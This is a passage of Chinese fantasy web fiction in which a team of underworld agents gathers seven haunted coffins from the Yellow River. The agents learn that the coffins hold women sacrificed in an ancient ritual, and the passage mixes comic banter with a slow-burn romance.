“这是野史吗?”安饶发出疑问,“打破了我的童话。”
白念生想了一下,“那跟这个黄河里七星浮棺有什么关系?你不要告诉我,下面镇压到是七位仙女姐姐?”
“牛郎就是个屌丝,还普信,行为也下作,在我看来,牛郎织女的故事,就是一个老流氓唆使小混混,采用不正当的手段,霸占女性的犯罪行为,女性明明才是受害者。”云为衫总结的很到位。
阎璟抿嘴不语,“牛郎若不用下作法子,怎么可能娶到天上的仙女。”
“牛郎最后怎么了。”安饶比较好奇这个。
“这个我知道。”白念生举手,“当时这个判决是我们老大亲自判处的。牛郎被剥夺为人的机会,十世畜生道,消除孽障。”
安饶问,“你老大?!是谁?”
“当然我家威武霸气狂拽酷霸屌的阎王大人是也!”
云为衫毫不客气白他一眼!
而那位狂拽酷霸屌的阎王大人不好意思低下了头,惹得冷樾低头抿嘴轻笑。
47. 黄河七星浮棺事件3
“我们在此猜来猜去,也没有任何意义,事情总得解决!”冷樾转头询问阎璟身体情况,眉宇间都是担心,“你可以吗?”
阎璟朝他点点头,嘴角带笑,“我没关系,扛得住。”
虽然这具身体跟普通的人类也没多大差别,但,毕竟也是仙体来的。
云为衫站起来,啪啪拍两声,“行了,正史也好,野史也罢,先把眼前的正事办了再说,本来想等明日一早再收拾他们,现在看来早晚都是一样的,那就速战速决!
咱们就按照冷樾展示出来龙脉上的七星定位,咱们刚好六个人,分别对应一处镇压的地点。
他不是会移动吗?咱们就把那几个会移动的仙女引到一处,直接一波流。”
白念生率先跟票,“同意。”
安饶竖起大拇指,“可以!”
和尚也点头。
云为衫双手掐腰,朝各位面前一站,“既然大伙都同意这么干!那接下来,咱们分配下任务。白念生!”
“到。”
“你负责天枢位。”云为衫直接下令
“好的。”白念生没什么问题,
“闻不聊。”
和尚抬眼。
“负责天璇位。”
“阿弥陀佛。”和尚双手合十微微颔首。
云为衫目光轻飘飘扫过阎璟,放在安饶身上,“我负责天玑和天权位。安饶,你负责摇光位。”
安饶比个OK的手势。
谁知云为衫回来又绕过阎璟,转头看向冷樾,“冷神,你负责开阳位置可以吗?”
冷樾点头,他的位置离中心点玉衡位最近,他说:“有心了。”
阎璟暗暗思忖,怎么样也该轮到给自己分配重要点位了吧,他深吸一口气,不动声色地把背脊挺直了些,等待云为衫的指令。
“阎璟!”终于喊到他了。
“在!”阎璟瞬间挺直了胸膛。
声音倒是挺大,云为衫白他一眼,“玉衡位这口棺材,已经被我们封印在檀木盒中,此地只需要看守就行。所以你负责看家!”
阎璟愣了一下,很是不解,“……不是,我不用去吗?我用处很大的!”
被飞沙吹了几下就发烧的人,还有资格说自己本领大!
众人低头抿嘴偷笑,白念生在一旁安慰他,“哎呀,你还发着烧,别想着建功立业,先把身体养好再说。”
阎璟才不是想建功立业。
别人不知道,但他清楚自己的实力。
再怎么样,他也比冷樾和安饶这两个什么都不会,只会玩高科技新型人类强吧!他忍不住开口,“要不,最后两个我来吧?”
在场可能只能冷樾知道他的顾虑,也清楚他的实力,估计阎璟出马,压根不用这么麻烦,他直接把邪门玩意拉出来,一挥手魂飞烟灭拉倒!
“你对自己的颜值没有概念就算了,怎么对自己的实力也没有概念呢?你比冷樾强我不否认,你能比安饶有经验吗?”云为衫啧一声,把他的话直接掐断。
站在一旁冷眼旁观的冷樾,顿时也跟阎璟一起无语起来。
阎璟还想再挣扎一下。
云为衫直接伸手打断,“就这么决定了,你看家。”
没想到在这些人心里,自己居然是最弱的,甚至比冷樾还弱!
就连冷樾都轻轻拉住他的衣袖,“听云组的吧!他有经验!”
阎璟顿时无语,“……”
他很强的!
就算没几滴神力,他也比他们一群弱鸡强。
众人眼里的阎璟,是他们团队里国宝级脆皮。
可阎璟眼里的他们同样是脆皮,白念生是个只会用判官笔的脆皮,云为衫就是只会远程攻击的脆皮,安饶只个会画符的脆皮。闻不聊只会念经超度的脆皮。
冷樾,脆皮中的脆皮!
这么多人,放着队伍里面最强的MVP不用,非得给自己找麻烦!
阎璟愣愣站在原地,看着众人一个个推门而出。
白念生路过他身侧,顺手把案台上,他顺手带过来的保温杯往他怀里一塞,“记得多喝水。”
“这里面是牛奶。”阎璟把头一撇,有气无力回答他。
“那就多喝点牛奶。”
闻不聊双手合十,从他面前走过,什么话都没说,但阎璟分明看见这和尚嘴角挂着笑,别以为他看不见。
安饶则是冲他挥挥手,比了个口型,我们很快回来。
冷樾是最后一个出门的,他顿了顿,回头看了阎璟一眼,没说话,只是把门带上了。
阎璟怀里揣着保温杯,听着外面几人的脚步声,渐行渐远。
“一群脆皮!好意思把我留下来。”
他把保温杯搁在檀木盒上,沉甸甸的檀木盒放在地上,走到门口,隔着那道门缝撅着屁股往外看。
漆黑无光的天空,没多会,开始有几处不同颜色的光,一个接一个,冲天而起,想必几人自己到各自的点位上了。
离他最近的开阳位,金黄色的光柱一闪一灭,那是冷樾所在的位置。
他有点担心冷樾一个人能不能搞得定,会不会有危险?刚刚他就应该再坚持一下。
熟不知,那边的冷樾已经隔断层层水域,潜入黄河之下,此刻正站在石台中央,垂着眼看面前的祭祀阵中的棺材。
在他两侧形成的水幕,风平浪静,连他衣角都没沾湿。
“你是跟我走,还是我亲自动手。”冷樾的声音很轻,就好像再跟它聊天一样。
那棺材通灵,像是能听懂他的话,闪烁两下,像是在谈判。
冷樾叹口气,他一向先礼后兵,礼过后就动手。
直接翻手朝上,一道金光火莲照耀在河底,“上面那个人,可以帮助你们,你应该能感应到,若是抵抗,我不介意现在就直接法灭了你。”
棺材又发起一道幽光。
冷樾眼神微眯,手掌直接蓄力,似乎真的打算毁掉。
那棺材意识到这人不是在开玩笑,身棺身一颤,自己顺着龙脉上的水流,开始动起来。
阎璟靠在门框上听好一会儿。
没多久,他就听到了外面传来冷樾的脚步声音。
他刚想抬脚出去,地上被封印的棺材突然在里面开始躁动不安,盒身跟着震颤,把他的水杯都震倒在地。
阎璟头疼,捡起被子,抱在怀里。
他发着烧本就烦躁,此刻脾气也不怎么好,这可是冷樾特意给他买的被子。
低头朝着盒中那口泛着幽光的小棺材,面无表情,眼神犀利,“你最好给我安静一点。”
又顿了顿,“别惹我生气,否则直接法灭了你,”
盒体一颤,里面顿时变老实了。
阎璟面无表情地想,果然连棺材也是欺软怕硬。
冷樾是这些人回来最快的。
阎璟还没反应过来,那道身影已经进了石屋,门在他身后轻轻合拢。
“怎么样?”
“身体怎么样?”冷樾走近,目光在阎璟脸上停了一瞬,两人同时问出口。
“我没事,别担心我。”
“没事就好,不出所料。”冷樾把他看到的情况简单说了一遍,“每个漩涡深处都封印一口棺材,而且棺材本身已然通灵。引诱不难,难的是聚在一起之后,执念不好消,没法入轮回。”
阎璟顿了顿,犯起难来,“到底是什么执念,这么难除?”
冷樾看着他,没立刻答。
“你做好心理准备。”他脸色并不怎么好,“我大约已经猜到了。”
又要他做好心里准备,这句话听着就不舒服,阎璟心里顿时咯噔一下。
云为衫的两组棺材是她直接强制带回的。
她懒得跟她们玩捉迷藏,直接白纱四面八方从天而降,像条游龙,直接将那两口棺材连根拔起,也不管它们配不配合,跟甩麻袋似的,直接甩到石屋跟前。
大地都被震得颤了三颤。
冷樾和阎璟从石屋内出来,只见门前三排棺材已经整整齐齐码在空地上,加上屋里那口,正好四口。
没过多久,安饶的身影也出现在黑夜中,不过他是一路被棺材追
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着跑过来的。
跑的气喘吁吁,到地方后,扶着膝盖大口喘气,冲众人比了个大拇指。
“来……引来了……”
“你拿什么引的?”阎璟比较好奇。
安饶直接简单粗暴把手掌摊开给他看,手掌一道血口子,还流着血,“血气。”
“……”
现在看来就只差白念生和闻不聊那边。
天枢和天璇两处位置较远,花费时间长也能理解。
云为衫站在原地等了几息,眉头渐渐皱起来。
不行!
“你们在这看着,”她有点不放心,说,“我去看看。”
这边云为衫刚离开不就,四口棺材,连带屋里那口,忽然同时发出幽幽的嗡鸣声。
然后,它们开始悠悠唱起歌来。
还真是这种玩意在唱歌,估计,它们就是这样引诱王老六的吧!
只是那声音幽冷,一股寒意,直往人的脑门里钻?
唱的还是那段——
“天河阻断姻缘路,千年镇压恨难消。天外锦书无一字,月下残影立孤桥。
往来寒暑金钗冷,物转星移玉容凋。谁人能解心头锁,还我自由上九霄。”
之前听,阎璟隐隐约约只听到一两句。这会儿,听的清清楚楚,他终于回过味来。
只是这首诗里所说的,镇压……千年?是他想的那个意思吗?
阎璟喃喃自语,“千年?”
冷樾转头看他,声音放轻了些,“别担心,会解决的。”
阎璟不是担心有没有办法解决,他拉着冷樾的衣袖,只想问清一件事,
“你说她们真的已经存在了……千年吗?”
“嗯。”冷樾扶着他,想了想,“从水下的古遗迹和祭祀场所的规制来看,很像千年前的产物,应该大差不差。”
安饶靠在墙边,总算把气喘匀了,他幽幽接话,“要不怎么说人家是仙女呢!”
阎璟如遭雷击,而此时,远处的天边真的一道天雷直接砸了下来。
“轰隆隆——!!”
冷樾和安饶同时抬头。
阎璟也瞬间站直了身体,望着远处那道天雷。又僵硬地转头,望着地上那四口整整齐齐的棺材。
七个。
存在了千年,没有投胎的死魂。
阎璟简直不敢相信,十分艰难的开口,“居然有七……个?”
“嗯。”冷樾说。
安饶在一旁补充,“所以是七仙女鬼。”
阎璟沉默了三秒,然后自己捂着脸,慢慢蹲了下去,久久没有抬头。
“天呐!”他的声音闷闷的,不可置信,“平均五十年投胎率,还是均少了……”
离得最近的冷樾听的一清二楚,嘴角忍不住上扬。
阎璟本以为,沈松岩六十年,苏三娘一百七十年,已经是异类中的异类。
没想到还有七个千年的。
这得积累多少加班费呃不是,是多少怨气啊!
被镇压在黄河底一千年,始终无法入轮回,搁谁身上都得疯,搁谁身上都得有怨。
若她们真是七仙女……那他这罪过,真不是一般的大。
阎璟缓缓抬起头,大脑一片空白。可是,他茫然地想,也没听说过仙女没了仙籍,被镇压的事啊?
冷樾垂眼看着他,半晌,他才蹲下去,把阎璟从地上拉起来。“起来吧!”他说,“地上凉。”
阎璟没动,冷樾又拉了一下。
后面安饶笑了一下,“阎小璟,快起来吧!若是被白念生看到,他肯定会提醒你,这地上不能拉屎。”
“……谢谢你的好意提醒。”阎璟终于抬起头,神情恍惚,摇摇晃晃站起身,“冷樾,如果现在跟我讲,有个万年没投胎的,我都不觉得惊讶了!”
“……”
“你说我要是现在给她们一人烧一炷香,还来得及吗?”
冷樾认真想了想,“来不及了,不过,毁尸灭迹倒是可以。”
阎璟:“……”
几口棺材同时一颤。
48. 黄河七星浮棺事件4
那道雷声!
白念生那边果然出事了。
云为衫人还没到,就先闻见一股诡异的味道,就像是什么东西被雷直接劈焦了。
于是她脚步加快,直接往白念生所在的点位飞掠而去。
离近后,云为衫才看见眼前的景象,不由地睁大眼睛,身体也微微一顿。倒不是被吓到,而是有点不知道该说什么好。
此时,白念生背对着她,后背浸湿了一大片,因为天黑,一时分不清到底是汗水还是血水?
不过,看那神情,多半也不会是血水。
白念生手里拿着判官笔,笔尖红光闪烁,每画出一道符,都带着怒意,就像是跟眼前的棺材刚打过架还没消气一般。
而他面前那口棺材,如果那还能叫棺材的话,已经被劈得乌漆嘛黑,边角处还在冒烟,活脱脱像是从火场里刚救上来的一样。
云为衫没有出声,只是慢慢靠近白念生的身后。
隐约间,她好像看见白念生拿笔的手在抖,肩膀也在抖,就连脚下的地面,也被他硬生生踩裂了一道缝。
这人……在硬撑?
不对,不是硬撑,是在小心翼翼的稳棺!
“白念生。”
云为衫声音不大,但在稀里哗啦漩涡的水声里听的格外清晰。
纯属条件反射,白念生被她声音吓得顿时身体一僵,他都没回头,声音先从牙缝里挤出来,声音里略带着不好意思的笑意,“嘿嘿,组长,你怎么来了?”
真是笑得比哭还难看。
云为衫没答话,抬脚往前走。
那口棺材像是感应到什么,棺身微微一震,竟然开始把目标对准她。
漆黑的表面浮现一层黑气,波涛涌动。
云为衫眼神一缩,这什么倒霉玩意,在她面前拿什么乔。
白念生脸色一变,“云组,你先别……”
话音未落,云为衫直接抬手,一道白绫发出,如游龙戏水。
刹那间,就将整个棺材缠了个结结实实。
而那个原本就被劈裂的地方,就这样被外力猛地一扯,一路往下炸开,噼里啪啦,棺材碎屑迸溅,下一刻,直接四分五裂。
白念生往后退了一步,避开波及范围,呸呸两口。
“得嘞,白费我功夫了。”他呆呆看着满地的狼藉,又愣愣地看向云为衫,嘴巴张了张,半天没说出话。
“组长……”白念生的语气里无奈中带着哭腔。
云为衫收回手,低头看了看自己的手,顿时有点不可思议,“我没用力,真的。”
她是真的没怎么用力。
又顿了顿,补充一句,“不好意思。”
白念生看着碎一地的渣渣,“你这也叫没用力???”
“我真没怎么用力。”云为衫的话显然已经没有什么说服力,白念生已经不想说话了,她的用力永远跟别人的标准不一样。
云为衫张了张嘴,想说什么,又觉得说什么都不太对。
最后只能心虚的蹲在地上,看着那堆碎得不能再碎的棺材板,默默咽了口唾沫。
“没事,跑了一个而已。算了,大不了费点事。”
白念生:“你说算了就算了?”
哦也对,依这人的尿性,肯定心里想着,反正也不是自己的棺材,爱咋滴咋地!
可就在这时,棺材碎屑中黑气慢慢凝聚,又猛的窜出,黑气冲天而起,横冲直撞,像是被关久了,终于找到撒欢的机会。
白念生下意识想追,但还没动,就看见那黑气在天上转了两圈,居然往另一个方向跑了。
他愣住,“它……它跑了?”
云为衫紧皱眉头,目光越过白念生,落在逃窜的黑气身上,那个方向是?
“糟了,闻不聊。”
白念生二话不说,拔腿就往闻不聊那边跑,“但愿那秃驴给点力。”
闻不聊这边的情况可能比白念生还惨。
其实刚刚,他和白念生已经将两个棺材赶到了一起。谁知天上怎么突然冒出一道天雷,直接朝他们这边打了下来,两人十分默契,都在第一时间护住了自己,压根没管那两口棺材。
导致两口棺材被劈个彻底!棺材上的符文也全部破坏掉了。
白念生望着金刚罩下的闻不聊,一阵无语,“出家人以慈悲为怀,我以为你会罩着它们的。”
闻不聊也是跟他一样的想法,所以只顾自己没有顾及其他,“阿弥陀佛,贫僧以为你会护住的。”
白念生:“……”
怎么办?
两人只能各自把棺材分开,稳住破碎不堪的棺材,然后小心翼翼带回去,只要不炸开,里面的东西出不来就没事。
谁知,这个时候云为衫来了!
啪叽!粉碎个稀巴烂!
闻不聊负责的那口棺材,就不是个好相与的,知道有破棺而出的希望,在佛珠的镇压下一直苦苦挣扎。
棺身已经裂开好几道缝,黑气从缝隙里拼命往外钻,像是随时要炸开。
闻不聊站在那儿,手里的佛珠微微发光,表情淡漠,他跟白念生想法做法一致,先稳,再镇!
“和尚!小心那道黑气。”白念生人没到,传音符先到了。
闻不聊微微一顿,心中大概有数,看来,是白念生那边没有稳住,那他这边,估计也悬!
果然,神出鬼没的黑气开始攻击闻不聊,
闻不聊也不着急,直接在漩涡上方盘腿而坐,开始念经,出口经文化成金符缠斗那道黑气。
此时,白念生已经到达,插着腰大喘粗气,看见这场景,忍不住啧了一声,“都这样了还这么淡定?闻不聊,你这名字真该改改,叫闻淡定算了。”
闻不聊侧目看他一眼,还没来得及开口。
“砰!”
棺材炸了。
“得!”白念生捂着脸,“我就不该说这话。”
又一道黑气破棺而出,冲天而起,跟刚才那道黑气在半空中碰头,相互纠缠。像是久别重逢的老友,兴奋地绕着彼此转圈圈。
然后同时掉头,直直往天上冲,想冲破白念生布的结界。
可惜,它们在封印上撞了两下,发现硬闯不行,立刻换了方向,往石屋那边掠去。
白念生抬头看着它们飞走的方向,忽然觉得有点不对劲,微喘着气道:“它们这是……去哪儿?”
云为衫此时也已经赶到,神色微凝,“回去救人,不对,救棺,救其他棺材。”
白念生一愣,随即脸色瞬变,“不好,阎小璟有危险!”
二话不说,转身又跑,快累死了!
云为衫在他身后大喊,“安饶在那边,没事的。”
闻不聊淡定收起佛珠,看向云为衫,“云组长。”
云为衫目光还盯着黑气消失的方向,“究竟怎么回事?怎么会有天雷?”
闻不聊轻叹一声,“此事可能说来话长。”
“长就别说了,”云为衫打断他,转身往回走,“我估计那两道黑气会回去解救另外四个,我怕冷樾他们几个不够玩的。先回去吧!”
闻不聊脚步微顿,随即跟了上去。
够不够玩的不知道,但看白念生刚才那个反应,阎璟那边,怕是真要热闹了。
石屋外。
四口棺材原本安安分分地躺在那儿,虽然看着不太吉利,但好歹没出什么幺蛾子,可就在刚才,棺材突然开始躁动起来。
冷樾站在一旁,表情平静,阎璟被他拉着手腕往后退了两步。
阎璟一边退一边忍不住偷瞄他的脸,他发现这个人接受能力,不是一般的强,这都不怕,真够冷静的,不愧是冷樾。
安饶可没空管他们小两口子,他盯着那四口棺材,眉头越皱越紧。
一开始还好好的,就在刚刚,开始轻微的晃动,逐渐加快,直至整口棺材都在抖,棺身表面
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已经开始往外渗黑色的瘴气,一缕一缕,从缝隙里往外冒,像是活物一般。
安饶二话不说,一排符文直接贴上去,符文闪了闪,然后就没然后了。
黑气照冒不误。
安饶脸色微变,“怎么回事!”
冷樾抬起头,望向白念生那边的方向,声音平静,说了一句是事实,但却是废话的话,“应该是,出事了。”
“……”安饶噎得说不出话来,任谁都能看的出来那道天雷劈下来丝毫没有拖泥带水,“真是听君一席话,胜似一席话。”
要不是看他是总监,他非得怼上一句,这谁看不见啊!肯定是出事了!不然这棺材还能自己蹦迪吗?!
阎璟没吭声,但嘴角忍不住抽了抽。
他偷偷又瞄了冷樾一眼,心道这人性格真的,太蔫坏了。
就在这时,天空突然划过一道闪电,惨白的光瞬间照亮整个石屋,紧接着,又一道天雷击在黄河之上,水花四溅!
闪电之下,两道黑气从天而降,直直撞向地上的四口棺材。
“轰隆——”
黑气与棺材碰撞的瞬间,整个大地都震了一下。
顿时,瘴气暴涨,周围的视线几乎完全吞没,伸手不见五指。
阎璟下意识往冷樾那边靠了靠,声音多少有些担忧,再怎么说,他得护住冷樾才行,这里面安饶有自保的资本,只有冷樾这个凡人,需要保护,“那个……冷樾,你别离开我身边,我怕你有危险。”
冷樾侧目看了他一眼,见人将他护在身后,内心开心不已,阎王大人的感情虽然迟钝不开窍,但是那颗心倒是想着他的,能想着他,就很好了。
冷樾靠的近些,一道温热的鼻息喷在阎璟耳边,他觉得冷樾好像在笑,但光线太暗,实在看不清。
“我不离开你身边,你别担心。”冷樾轻声说。
这话说的怎么这么暧昧?是他的错觉吗?阎璟有点不自然,回头开始找补起来,“……呃,我也没多大把握,所以你也别这么冷静?”
毕竟,他神力没多少。
“好的,我尽量。”依旧语气淡淡,似乎生死也只是小事。
他算是明白了,他家里这位冷樾,就算天塌下来,估计也就是一句“还好”。
然后继续冷静地看着天塌。
安饶已经顾不上吐槽这边腻腻歪歪的两个人,他手里的符文不要钱似的往外扔。
一边扔一边往后退,最后实在看不过去,“别聊了!还不过来帮忙!”
冷樾终于动了。
他抬起手,还没开始动作,白念生的声音由远及近,语气带着明显的急迫朝他们这边奔过来,“阎小璟!!你没事吧!那两口棺材里面的倒霉玩意跑出来了。”
阎璟一愣,还没来得及应声,白念生就跑到他面前,扶着石屋墙壁,气喘吁吁。
看见阎璟完好无损站在冷樾身侧,明显松了口气,视线一转。“……不是。”
他艰难地开口,“你们这边,怎么比我们那边还热闹?集体蹦迪呢?”
那两道黑气像是找到了失散多年的亲姐妹,高兴的往棺材上撞。
安饶也是忍不住吐槽,“它们可是来……认亲来了?”
“不是认亲,”冷樾的声音从旁边传来,“是破棺。”
阎璟一愣,“破棺?破棺后会怎么样?”
冷樾没回答。
但棺材替他回答了。
只见最左边那口棺材的盖子,突然“砰”的一声弹起来,又重重落下,紧接着里面一道黑气冲天而出。
得嘞,又放出一个。
安饶眼疾手快,手里的符文,直接朝那边砸过去,奈何已经晚了,于是又只能把旁边那棺材贴了几符。
很好,刚安静一个。
但最右边那口又开始不安稳起来。
安饶怒火中烧,“……还有完没完!”
他的符箓就这么没用吗?
49. 黄河七星浮棺事件5
安饶大喝一声,从身后又掏出一把符箓,还没贴上去,中间那口棺材直接整个翻了个个儿。
白念生眼疾手快,判官笔一挥,一道红光打在棺材上,把它硬生生定住。
那边云为衫和闻不聊也已经赶到,云为衫手上蓄力,明显想直接使用暴力,可又怕手劲太大,直接爆棺。
那对它们来说倒是省事了,因为直接遂了它们的愿。
“云组,杀鸡焉用牛刀!求你了千万别出手!”白念生也知道云为衫出手没个准头。
“闻不聊!”他朝着云为衫身后的闻不聊喊,“你倒是动一动啊!”
闻不聊听到声音,动作优雅地从后面走出来,先是看了一眼冷樾和阎璟两人的情况,除了阎璟脸色苍白,似乎没出什么大事。
“不要着急,越急的事越得慢慢做。”闻不聊相当淡定。
白念生差点一口气没上来,“不急?你看看这情况!六个棺材集体造反,你还让我不急?!”
闻不聊没理他,神出鬼没地走到安饶身边,接过他手里的一叠符箓,随手翻了几下。
“这个不行,”他抽出两张,“用这个。”
安饶手上一空,愣了一下,转头问,“你什么时候来的?”
“刚才。”
“我是问你什么时候到的!”
“也是刚才。”
安饶:“……”
这和尚有时候说话这么这么让人想打他?
但这两道镇灵符文确实有用,贴上之后,中间那口棺材的动静明显小了不少。
阎璟在一旁看得目瞪口呆,忍不住凑到冷樾耳边小声说,“冷樾,闻不了此人你了解吗?”
冷樾侧目看他,“了解,出家人嘛!”
“出家人怎么了?”
“不杀生。”
“这不是应该的吗?”
冷樾道:“我是指,他从不亲自杀生。”
“……”阎璟怎么觉得这话听起来怪怪的?还没来得及细想,右边那口棺材突然炸了。
不是全炸,是盖子飞了。
一道黑气冲天而起,在半空横冲直撞,撞进黄河中,带出湍急的水流,攻击在场所有的人。
几人纷纷出手阻挡,云为衫刚想去护后面那两位,一转头,就看到冷樾早已经拽着阎璟躲石屋里去了。
那如冰一般的水箭全部击打在门板上,啪啪作响。
云为衫对冷樾十分鄙夷不屑,心想这两人干活不行,躲得还就真快!
阎璟压根不需要躲,其实他刚刚也准备出手挡一下,只是还没反应过来,就被冷樾抱到屋里去了。
屋内门后的两人贴的极近,阎璟似乎都能听到自己的心跳声,一下又一下。
冷樾目光微烁,嘴角温和的笑意,用一只手贴在阎璟的胸膛,感受那有力的心跳,明知故问道,“心跳怎么这么快?”
阎璟的脸颊不似刚才苍白,甚至有些绯红,这种感觉好像有点不受控制,“我发烧了。”
冷樾淡淡一笑,将人揽入自己怀里紧紧抱住,“你倒是给自己找了个好理由。”
阎璟没有推开冷樾的怀抱,甚至有点贪婪,想拥有这份温暖久一点,再久一点,这个念头一出来,阎璟就觉得,自己可能已经病傻了。
外面还在激战,白念生一个箭步冲过去,判官笔直接点在那几道乱窜的黑气上。
又回来打在剩下那两股正要破棺而出的棺材上。
棺材上的黑气突然发出一声尖锐的叫声,像是被厉害的东西烫到一样,猛地缩回了棺材里。
盖子“砰”的一声自己给盖上了。
白念生喘着气,回头瞪了一眼闻不聊,眼底的骂声特别激烈。
闻不聊看了一眼手里的符箓,表情微微一顿,又看向安饶。
安饶不好意思地挠了挠头,他说:“我的道行你们是知道的,对付十年二十年的还行,这种千年的怪胎……”
得嘞!后面的话不用说了。
白念生:“……”
闻不聊:“……”
屋内的阎璟听着外面几人的对话,默默往冷樾怀里又缩了缩,憋着笑意,“他们好像玩不转了。”
“别管他们!”冷樾把他的手往自己腰间放,“冷吗?给你暖暖。”
阎璟心跳加速,顺着冷樾的手劲,环抱住他的腰身,心想,冷樾都不尴尬,他尴尬什么!
不就是贴得近点嘛!
他这是生病了!
冷樾低头看了他一眼,嘴角动了动,“别怕。”
他又说,“你得习惯这些人,间歇性不靠谱,习惯了就好。”
阎璟:“……”
这是什么地狱级别的安慰?!
外面还在激战,剩下的三口棺材像是受到了刚才那口的启发,开始更加躁动起来。
盖子一起砰砰作响,瘴气浓得几乎看不清对面的人。
白念生急了,“云组呢?!云组刚刚不是在这的吗?这会人呢!怎么不见了?!”
话音刚落,远处传来一道熟悉的女声。
“我来了。”
众人回头看她,“你去哪了?”
“去了趟黄河底,把祭坛挖了。”
云为衫站在门口,裤脚微湿,她随手将手里的东西往旁边一丢,一个四方八卦的破破烂烂祭坛就这么无限变大,安静地躺在地上。
她扫了一眼屋里靠在门边,趴着门缝偷看的两人,眉头微微动了一下,然后翻了一个白眼。
“外面这么热闹,这两个二货居然在屋里谈恋爱?”
白念生这才注意到,哎呀一声,“他们出来也帮不上忙,谈着好了。”
安饶也沉默了:“……”
阎璟听到声音,有点不好意思,用手推开冷樾,然后打开门,走了出来。
冷樾微微侧目瞪了云为衫一眼,似乎在责怪她打断自己的好事。
云为衫正好也回看他。
两人目光在空中短暂交汇。
然后同时移开。
阎璟在一旁看得清清楚楚,忍不住小声嘀咕,“……他们两这脸色怎么都不怎么好呢。”
安饶头也不回,“别管,正常操作。”
“什么正常操作?”
“高手之间的默契,双方骂的都很脏。”白念生接道。
阎璟:“???”
他怎么觉得哪里不太对?
但没等他细想,云为衫已经动手了。
五道白绫齐出
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,这一次不是缠住棺材,而是直接缠住了那三道乱窜的黑气。
黑气被白绫勒住,拼命挣扎,发出刺耳的惨叫。
云为衫手上一紧,白绫收紧,三道黑气硬生生被她从棺材上方拽了下来,再狠狠地掼在地上,正好砸在那祭坛之上。
“嘭!”
地面被砸出一道裂缝。
黑气挣扎了几下,终于不动了。
空气中安静一瞬。
白念生张了张嘴,半天憋出一句,“……云组,霸气!”
阎璟在一旁看得眼睛都直了,忍不住拉了拉冷樾的袖子,“冷樾,你还是别跟云组长起冲突,你打不过她的。”
冷樾低头看他,沉默了一会儿,说,“我为什么要和她打?”
阎璟一愣,“我就是担心你……”
眼神对骂再上升到肢体对打,还打不过,得不偿失。
闻不聊不知道什么时候走到了那三道被掼在地上的黑气旁,蹲下身子,仔细看了看。
“原来如此。”
“和尚看出什么来了?”云为衫走到闻不聊身后。
“北斗七星,聚阴锁魂,不死不灭,不得超生。”闻不聊一字一句。
“这么狠!”白念生也走了过来,“所以,真是七仙女吗?
闻不聊摇摇头,他已经彻底想通,“她们歌声里自称织女?但不是。”
闻言,几人都围在周围,阎璟离得近了一些,所以看得真切,这些东西身上没有神格,“这些并不是什么七仙女,况且,想想也不太可能,织女是天上正神,就算犯天条被罚,也不可能用这么阴毒的阵法镇压,这是邪术,镇的都是厉鬼怨魂!”
云为衫见多识广,跟闻不聊想到一块儿去了。“此祭祀法阵是以北斗之势,聚阴锁魂,
所以棺材里其实是七名纯阴命格女子活祭,所以才可成不死不灭之怨灵,护佑阵法之主后代昌隆!”
白念生皱着眉,问:“意思是……”
“这就是人为的邪法!”云为衫冷笑,“直白点说,有人抓了七个特殊命格的女子,活生生封在棺材里,沉入黄河,用她们的怨气布置阵法,保佑自家子孙富贵。”
“可她们为什么唱那歌曲,还自称织女?”
“怨灵会编织记忆,把自己想象成无辜受害者,这样怨气才能千年不散。但无论如何,她们确实可怜。千年镇压,魂魄不得超生,比下地狱还苦。”
“不管是谁,受了千年的罪过是真实存在的!
冷樾想把阎璟扶起来,阎璟冲他摆摆手,表示自己没事,闭上眼睛,慢慢感受,他在尝试,能不能触发这怨灵生前的人生经历。
“得想办法,超度她们。”这句话是冷樾对阎璟说的,也是对在座各位说的。
“说得轻巧,我们连她们是谁都不知道。”
“开生死簿,查!”冷樾直接下了死令。
白念生被噎得说不出话来,“千年啊!会查死人啊!”
“你死不了。”
原本那团黑气还在晕眩中,谁料阎璟的手刚触摸到边缘,瞬间腾空而起,把阎璟推搡在地。
冷樾眉头一皱,先是将阎璟扶起来,安饶惊呼,问,“怎么回事,阎小璟,你做了什么?”
50. 黄河七星浮棺事件6
“我什么也没做。”阎璟摊摊手,他还没来得及做呢,“它突然醒了,然后就跑了。”
“……”
云为衫叹了口气,“还是不行,这个祭坛原本就已经破烂不堪,上次来就被我破坏掉了一大部分,如今更是一点用没有,压不住。”
如今这一个跑了,另一个也跟着醒来。
安饶刚准备从挎包里拿符箓,天上那团黑气似乎意有所指,直接撞上安饶,安饶躲避不及,被旁边的闻不聊拉了一把,手上的符箓全部散落一地!
“妈的!这个该不是他们大姐大吧!这么难缠。”
眼瞅着两道黑色怨气,毫无预兆地暴起,在众人还未反应过来时,便已冲向了其他棺材,噼里啪啦一通横扫,杀伤力比刚刚更加凶猛,转眼间所有棺内黑气,尽数逃窜而出。
众人纷纷别过脸去,不忍直视:“……”
“这下好了,不用纠结了,全跑出来了。”
安饶手背方才被那道怨气划出两道血口子,气得不轻,“来啊!一起蹦迪啊!”
冷樾将阎璟护在身侧,拉着人往门边挪动,随时准备撤离,惹得云为衫又冲他翻了个白眼。
“安饶,你还有多少符箓,全拿出来。”云为衫打算直接硬刚到底。
安饶二话不说,直接掏出一把!
云为衫低头一看,骂声差点刹不住,“传音符你拿出来干嘛!”
“你不是让我全拿出来嘛!”
“我要有用的,传音符用来干嘛,告诉它们我们收它们来了,让它们快跑吗!”
天空上方盘旋的六道黑气,看样子似在得意,一会儿排成人字形,一会儿排成一字形!
白念生咬牙切齿,“它们是在挑衅我们吗?”
话音刚落,紧接着,那六道黑气扇动黄河之水,瞬间,成千上万支冰箭铺天盖地朝他们射来。
“又来!”
云为衫从安饶手上拿过符箓,纵身跃起,快速掐指结印,猛地朝那边甩去!
“一波流!”安饶惊呼!
白念生给他一个白眼,“波个头。”
这分明是黔驴技穷,索性不再求什么消除怨念,直接全部灭掉了事!
只是这千年的怨念,哪有这么容易就能灭掉。
符箓齐出,勉强只镇住两三道。
云为衫刚落回地面,手上结印成阵,尚未完成镇压。
天空中那几道黑气似乎被激怒,开始抱团取暖,所有攻击齐齐全部转向云为衫。
白念生眼神一紧,判官笔拿出,凌空一划,两道屏障瞬间成型,护在云为衫身前,和尚的金身符文随即也笼罩而上。
“啪!”
“砰!”
随着两声巨响,两道屏障瞬间被击得粉碎。
云为衫也动了真怒,开出六尾,每条尾巴扫向一道黑气,缠斗不休。
“要我说,云组她早该如此了。”安饶窝在一旁简直想鼓掌。
云为衫把安饶所有的符都撒了出去,如今身上空无一物,缠斗可以,却治标不治本。
“安饶,镇灵符。”
白念生看向安饶,安饶耸耸肩,“我没带多余符纸。”
